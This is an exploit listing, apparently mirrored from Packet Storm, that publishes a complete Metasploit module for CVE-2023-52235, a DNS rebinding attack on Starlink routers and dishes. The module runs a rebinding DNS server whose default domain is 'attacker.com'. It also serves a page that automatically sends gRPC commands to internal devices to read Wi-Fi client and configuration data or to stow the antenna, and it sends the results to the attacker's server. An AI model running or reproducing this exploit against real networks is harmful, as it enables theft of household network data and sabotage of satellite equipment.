Lucene search
K

📄 Starlink DNS Rebinding

🗓️ 23 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 137 Views

Metasploit DNS rebinding against Starlink to access internal services via dynamic DNS and exfiltration.

Related
Code
ReporterTitlePublishedViews
Family
CNNVD
SpaceX Starlink Wi-Fi router 安全漏洞
5 Apr 202400:00
cnnvd
CVE
CVE-2023-52235
5 Apr 202400:00
cve
Cvelist
CVE-2023-52235
5 Apr 202400:00
cvelist
EUVD
EUVD-2023-56908
3 Oct 202520:07
euvd
NVD
CVE-2023-52235
5 Apr 202406:15
nvd
Packet Storm
📄 Starlink DNS Rebinding
23 Mar 202600:00
packetstorm
Vulnrichment
CVE-2023-52235
5 Apr 202400:00
vulnrichment
==================================================================================================================================
    | # Title     : DNS Rebinding Exploit Module                                                                                     |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : indoushka                                                                                                        |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module implements a DNS rebinding attack targeting Starlink infrastructure (CVE-2023-52235). 
                     The updated version focuses on improved stability and reliability by introducing safer DNS parsing, session tracking, memory handling, and basic rate limiting.
                     The module operates by running a malicious DNS server that dynamically switches responses from a public IP to internal network targets, enabling access to internal services. 
    				 It also hosts an HTTP server to deliver a client-side attack page and handle data exfiltration.
    
    [+] Key enhancements include:
    
    Robust DNS query parsing with compression handling safeguards
    Per-client session tracking with automatic cleanup
    Validation of DNS query type/class
    Controlled TTL behavior to ensure rebinding effectiveness
    Thread-safe data collection and exfiltration handling
    Input size validation to prevent memory abuse
    Graceful error handling and resource cleanup
    
    Overall, this version provides a more stable and controlled exploitation workflow suitable for testing DNS rebinding scenarios in Starlink environments.
    
    [+] POC   :  
    
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpServer
      include Msf::Auxiliary::Report
      
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Starlink DNS Rebinding Exploit (CVE-2023-52235) ',
            'Description' => %q{
              This module exploits CVE-2023-52235, a DNS rebinding vulnerability
              in Starlink Routers and Dishy (all generations before 2023.53.0).
              
               },
            'Author' => [
              'indoushka' 
            ],
            'References' => [
              ['CVE', '2023-52235'],
              ['URL', 'https://github.com/hackintoanetwork/CVE-2023-52235']
            ],
            'DisclosureDate' => '2023-12-20',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        
        register_options([
          OptString.new('DOMAIN', [true, 'Domain name for DNS rebinding', 'attacker.com']),
          OptAddress.new('PUBLIC_IP', [true, 'Public IP of the attacker server', '0.0.0.0']),
          OptPort.new('DNS_PORT', [true, 'DNS server port', 53]),
          OptEnum.new('ATTACK', [true, 'Attack type to execute', 'all', ['all', 'wifi_clients', 'wifi_config', 'dishy_config', 'stow', 'unstow']]),
          OptBool.new('AUTO_ATTACK', [true, 'Attack automatically when page loads', true]),
          OptInt.new('DNS_TTL', [true, 'DNS TTL in seconds (0-255)', 1])
        ])
      end
      
      def setup
        @domain = datastore['DOMAIN']
        @public_ip = datastore['PUBLIC_IP']
        @dns_port = datastore['DNS_PORT']
        @attack_type = datastore['ATTACK']
        @auto_attack = datastore['AUTO_ATTACK']
        @dns_ttl = datastore['DNS_TTL']
        @dns_ttl = 1 if @dns_ttl == 0  
        @internal_targets = ['192.168.1.1', '192.168.100.1']
    
        @collected_data = []
        @data_lock = Mutex.new
    
        @dns_running = false
        @dns_thread = nil
        @client_sessions = {}
        @session_lock = Mutex.new
        
        super
      end
      
      def run
        print_status("Starting Starlink DNS Rebinding Exploit (CVE-2023-52235)")
        print_status("Domain: #{@domain}")
        print_status("Public IP: #{@public_ip}")
        print_status("DNS Port: #{@dns_port}")
        print_status("DNS TTL: #{@dns_ttl}")
        print_status("HTTP Port: #{datastore['SRVPORT']}")
        print_status("Attack Type: #{@attack_type}")
        print_status("Auto Attack: #{@auto_attack}")
    
        start_dns_server
    
        start_service({
          'Uri' => {
            'Proc' => proc { |cli, req| on_request(cli, req) },
            'Path' => '/'
          }
        })
        
        print_good("HTTP server started on port #{datastore['SRVPORT']}")
        print_good("Victim URL: http://#{@domain}:#{datastore['SRVPORT']}/")
        print_status("Waiting for victim to visit the page...")
    
        last_cleanup = Time.now
        cleanup_interval = 60
        
        while @dns_running
                if Time.now - last_cleanup > cleanup_interval
            cleanup_old_sessions
            last_cleanup = Time.now
          end
          select(nil, nil, nil, 1)
        end
      end
      
      def cleanup_old_sessions
        @session_lock.synchronize do
          now = Time.now.to_i
                @client_sessions.keys.each do |client_id|
            if now - @client_sessions[client_id][:last_seen] > 30
              @client_sessions.delete(client_id)
            end
          end
        end
      end
      
      def start_dns_server
        @dns_running = true
        @dns_thread = Rex::ThreadFactory.spawn('DNSRebinding', false) do
          begin
            dns_sock = nil
            dns_sock = Rex::Socket::Udp.create(
              'LocalHost' => '0.0.0.0',
              'LocalPort' => @dns_port
            )
            
            print_good("DNS server started on port #{@dns_port} (TTL=#{@dns_ttl})")
            
            while @dns_running
              begin
    
                data, addr = dns_sock.recvfrom(512)
                next if data.nil? or data.length < 12
    
                query_id = data[0,2].unpack('n')[0]
                qdcount = data[4,2].unpack('n')[0]
                next if qdcount == 0
    
                pos = 12
                qname = ''
                jumps = 0
                max_jumps = 10
                
                while true
                  break if pos >= data.length
                  len = data[pos].ord
    
                  if (len & 0xC0) == 0xC0
                    jumps += 1
                    if jumps > max_jumps
                      print_warning("[DNS] Compression loop detected from #{addr[0]}")
                      break
                    end
                    if pos + 1 >= data.length
                      break
                    end
                    pointer = ((len & 0x3F) << 8) | data[pos + 1].ord
                    pos = pointer
                    next
                  end
                  
                  break if len == 0
                  pos += 1
                  if pos + len > data.length
                    break
                  end
                  qname << data[pos, len] + '.'
                  pos += len
                end
                qname = qname[0..-2] if qname.end_with?('.')
                pos += 1
                
                next if pos + 4 > data.length
                qtype = data[pos,2].unpack('n')[0]
                pos += 2
                qclass = data[pos,2].unpack('n')[0]
                pos += 2
    
                next unless qtype == 1 
                next unless qclass == 1  
                next unless qname.to_s.downcase == @domain.downcase
                
                question_data = data[12, pos - 12]
    
                client_id = "#{addr[0]}:#{addr[1]}"
                
                @session_lock.synchronize do
                  @client_sessions[client_id] ||= { stage: 0, last_seen: Time.now.to_i }
                  @client_sessions[client_id][:last_seen] = Time.now.to_i
                end
                
                stage = @client_sessions[client_id][:stage]
                @client_sessions[client_id][:stage] += 1
    
                if stage == 0
                  ip = @public_ip
                  print_status("[DNS] #{addr[0]}:#{addr[1]} Stage 1 -> #{ip}")
                else
                  ip = @internal_targets[(stage - 1) % @internal_targets.length]
                  print_status("[DNS] #{addr[0]}:#{addr[1]} Stage #{stage + 1} -> #{ip}")
                end
    
                response = ''
                response << [query_id].pack('n')
                response << [0x8180].pack('n')  
                response << [1].pack('n') 
                response << [1].pack('n') 
                response << [0].pack('n')  
                response << [0].pack('n') 
                response << question_data
                
              
                NAME_POINTER = 0xC00C
                response << [NAME_POINTER].pack('n')
                response << [1].pack('n')  
                response << [1].pack('n') 
                response << [@dns_ttl].pack('N')
                response << [4].pack('n') 
                response << ip.split('.').map(&:to_i).pack('C4')
                
                dns_sock.send(response, 0, addr[0], addr[1])
              rescue ::Interrupt
                break
              rescue => e
                print_error("DNS error: #{e}")
              end
            end
            
            dns_sock.close if dns_sock
          rescue => e
            print_error("Failed to start DNS server: #{e}")
            @dns_running = false
          end
        end
      end
      
      def stop_dns_server
        @dns_running = false
        if @dns_thread
          @dns_thread.kill
          @dns_thread.join
        end
      end
      
      def on_request(cli, req)
      
        sleep(0.001)
        
        if req.method == 'GET' && req.uri == '/'
          send_attack_page(cli)
        elsif req.method == 'POST'
          handle_exfiltration(cli, req)
        else
          send_not_found(cli)
        end
      end
      
      def send_attack_page(cli)
        html = generate_attack_page
        send_response(cli, 200, 'text/html', html)
      end
      
      def handle_exfiltration(cli, req)
      
        if req.body.length > 1024 * 1024 
          send_response(cli, 413, 'application/json', '{"status":"payload too large"}')
          return
        end
        
        begin
    
          data = JSON.parse(req.body.force_encoding('UTF-8'))
          @data_lock.synchronize do
            @collected_data << data
           
            if @collected_data.length > 1000
              @collected_data = @collected_data.last(500)
            end
          end
          
          print_good("Exfiltrated: #{data['type']} - #{data['data'].to_s[0..100]}")
          
         
          report_note(
            host: cli.peerhost,
            type: "starlink.#{data['type']}",
            data: data,
            update: :unique_data
          )
          
          send_response(cli, 200, 'application/json', '{"status":"received"}')
        rescue JSON::ParserError => e
          print_error("JSON parse error: #{e}")
          send_response(cli, 400, 'application/json', '{"status":"invalid json"}')
        rescue => e
          print_error("Failed to process exfiltration: #{e}")
          send_response(cli, 500, 'application/json', '{"status":"error"}')
        end
      end
      
      def send_response(cli, status, content_type, body)
        
        body = body.to_s
        cli.send_response(status)
        cli.send_header('Content-Type', content_type)
        cli.send_header('Content-Length', body.bytesize)
        cli.send_header('Cache-Control', 'no-store, no-cache, must-revalidate')
        cli.send_header('X-Content-Type-Options', 'nosniff')
        cli.end_headers
        cli.send_body(body)
      end
      
      def send_not_found(cli)
        send_response(cli, 404, 'text/plain', 'Not Found')
      end
      
      def generate_attack_page
        commands = {
          'wifi_clients' => {
            'host' => '192.168.1.1',
            'port' => 9001,
            'path' => '/SpaceX.API.Device.Device/Handle',
            'payload' => 'AAAABNK7AQA='
          },
          'wifi_config' => {
            'host' => '192.168.1.1',
            'port' => 9001,
            'path' => '/SpaceX.API.Device.Device/Handle',
            'payload' => 'AAAAAcq7AQA='
          },
          'dishy_config' => {
            'host' => '192.168.100.1',
            'port' => 9201,
            'path' => '/SpaceX.API.Device.Device/Handle',
            'payload' => 'AAAAAu+JAQA='
          },
          'stow' => {
            'host' => '192.168.100.1',
            'port' => 9201,
            'path' => '/SpaceX.API.Device.Device/Handle',
            'payload' => 'AAAAA5J9AA=='
          },
          'unstow' => {
            'host' => '192.168.100.1',
            'port' => 9201,
            'path' => '/SpaceX.API.Device.Device/Handle',
            'payload' => 'AAAABZJ9AgEI'
          }
        }
        
        commands_json = JSON.generate(commands)
        target_domain = @domain
        attack_cmd = @attack_type
        auto_attack_js = ''
    
        if @auto_attack
          delay = 3000  
          auto_attack_js = "setTimeout(() => { attack(\"#{attack_cmd}\"); }, #{delay});"
        end
        
        return <<~HTML
          <!DOCTYPE html>
          <html>
          <head>
              <meta charset="UTF-8">
              <title>Starlink DNS Rebinding Exploit - CVE-2023-52235</title>
              <style>
                  body { background: #0a0a0a; color: #0f0; font-family: monospace; padding: 20px; }
                  .container { max-width: 1200px; margin: 0 auto; background: #111; border: 1px solid #0f0; border-radius: 8px; padding: 20px; }
                  h1 { color: #f60; text-align: center; }
                  .status { background: #000; padding: 15px; border-radius: 4px; margin: 20px 0; height: 200px; overflow-y: auto; font-size: 12px; }
                  button { background: #f60; color: #000; border: none; padding: 10px 20px; margin: 5px; cursor: pointer; border-radius: 4px; font-weight: bold; }
                  button:hover { background: #f80; }
                  .danger { background: #c00; color: #fff; }
              </style>
          </head>
          <body>
          <div class="container">
              <h1> CVE-2023-52235 - Starlink DNS Rebinding Exploit </h1>
              <p>Target: <strong>#{target_domain}</strong></p>
              
              <div>
                  <button onclick="attack('all')"> FULL ATTACK</button>
                  <button onclick="attack('wifi_clients')">Wi-Fi Clients</button>
                  <button onclick="attack('wifi_config')">Wi-Fi Config</button>
                  <button onclick="attack('dishy_config')"> Dishy Config</button>
                  <button onclick="attack('stow')" class="danger"> STOW ANTENNA</button>
                  <button onclick="attack('unstow')"> UNSTOW</button>
              </div>
              
              <div><h3>Status:</h3><div id="status" class="status">[+] Ready...</div></div>
              <div><h3>Exfiltrated Data:</h3><div id="results" class="status">[-] No data yet</div></div>
          </div>
          
          <script>
              const TARGET = "#{target_domain}";
              const COMMANDS = #{commands_json};
              let messageCount = 0;
              const MAX_MESSAGES = 200;
              
              function log(msg, type) {
                  type = type || 'info';
                  const div = document.getElementById('status');
                  const colors = {info: '#0af', success: '#0f0', error: '#f00'};
                  const color = colors[type] || '#fff';
                  
                  messageCount++;
                  if (messageCount > MAX_MESSAGES) {
                      while (div.children.length > MAX_MESSAGES / 2) {
                          div.removeChild(div.firstChild);
                      }
                      messageCount = div.children.length;
                  }
                  
                  div.innerHTML += `<div style="color:${color}">[${new Date().toLocaleTimeString()}] ${msg}</div>`;
                  div.scrollTop = div.scrollHeight;
              }
              
              function exfiltrate(type, data) {
                  fetch('/', {
                      method: 'POST',
                      headers: {'Content-Type': 'application/json'},
                      body: JSON.stringify({type: type, data: data, timestamp: new Date().toISOString()})
                  }).catch(e => console.log(e));
                  
                  const resultsDiv = document.getElementById('results');
                  const dataStr = typeof data === 'string' ? data : JSON.stringify(data).substring(0, 200);
                  
                  while (resultsDiv.children.length > 100) {
                      resultsDiv.removeChild(resultsDiv.firstChild);
                  }
                  
                  resultsDiv.innerHTML = `<div style="color:#0f0">[${new Date().toLocaleTimeString()}] ${type}: ${dataStr}</div>` + resultsDiv.innerHTML;
              }
              
              async function sendGRPCRequest(cmd, config) {
                  const url = `http://${TARGET}:${config.port}${config.path}`;
                  const payloadBytes = Uint8Array.from(atob(config.payload), c => c.charCodeAt(0));
                  
                  const compressionFlag = new Uint8Array([0]);
                  const lengthBytes = new Uint8Array(4);
                  new DataView(lengthBytes.buffer).setUint32(0, payloadBytes.length, false);
                  
                  const framedPayload = new Uint8Array(1 + 4 + payloadBytes.length);
                  framedPayload.set(compressionFlag, 0);
                  framedPayload.set(lengthBytes, 1);
                  framedPayload.set(payloadBytes, 5);
                  
                  log(`Sending ${cmd} to ${config.host}:${config.port}...`, 'info');
                  
                  try {
                      const response = await fetch(url, {
                          method: 'POST',
                          headers: {
                              'Content-Type': 'application/grpc-web+proto',
                              'x-grpc-web': '1',
                              'Accept': 'application/grpc-web+proto'
                          },
                          body: framedPayload,
                          cache: 'no-store',
                          credentials: 'omit'
                      });
                      
                      if (response.ok) {
                          const responseData = await response.arrayBuffer();
                          log(`${cmd} SUCCESS! Response: ${responseData.byteLength} bytes`, 'success');
                          exfiltrate(cmd, {status: 'success', length: responseData.byteLength});
                          return {success: true};
                      } else {
                          log(`${cmd} FAILED: HTTP ${response.status}`, 'error');
                          exfiltrate(cmd, {status: 'failed', http: response.status});
                          return {success: false};
                      }
                  } catch(e) {
                      log(`${cmd} ERROR: ${e.message}`, 'error');
                      exfiltrate(cmd, {status: 'error', error: e.message});
                      return {success: false};
                  }
              }
              
              async function attack(type) {
                  log(`Starting attack: ${type}`, 'info');
                  
                  if (type === 'all') {
                      for (const [cmd, config] of Object.entries(COMMANDS)) {
                          await sendGRPCRequest(cmd, config);
                          await new Promise(r => setTimeout(r, 2000));
                      }
                  } else if (COMMANDS[type]) {
                      await sendGRPCRequest(type, COMMANDS[type]);
                  } else {
                      log(`Unknown command: ${type}`, 'error');
                  }
                  
                  log(`Attack completed: ${type}`, 'success');
              }
              
              log("Attack page loaded. Target domain: " + TARGET, 'info');
              #{auto_attack_js}
          </script>
          </body>
          </html>
        HTML
      end
      
      def cleanup
        print_status("Cleaning up...")
        stop_dns_server
        super
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation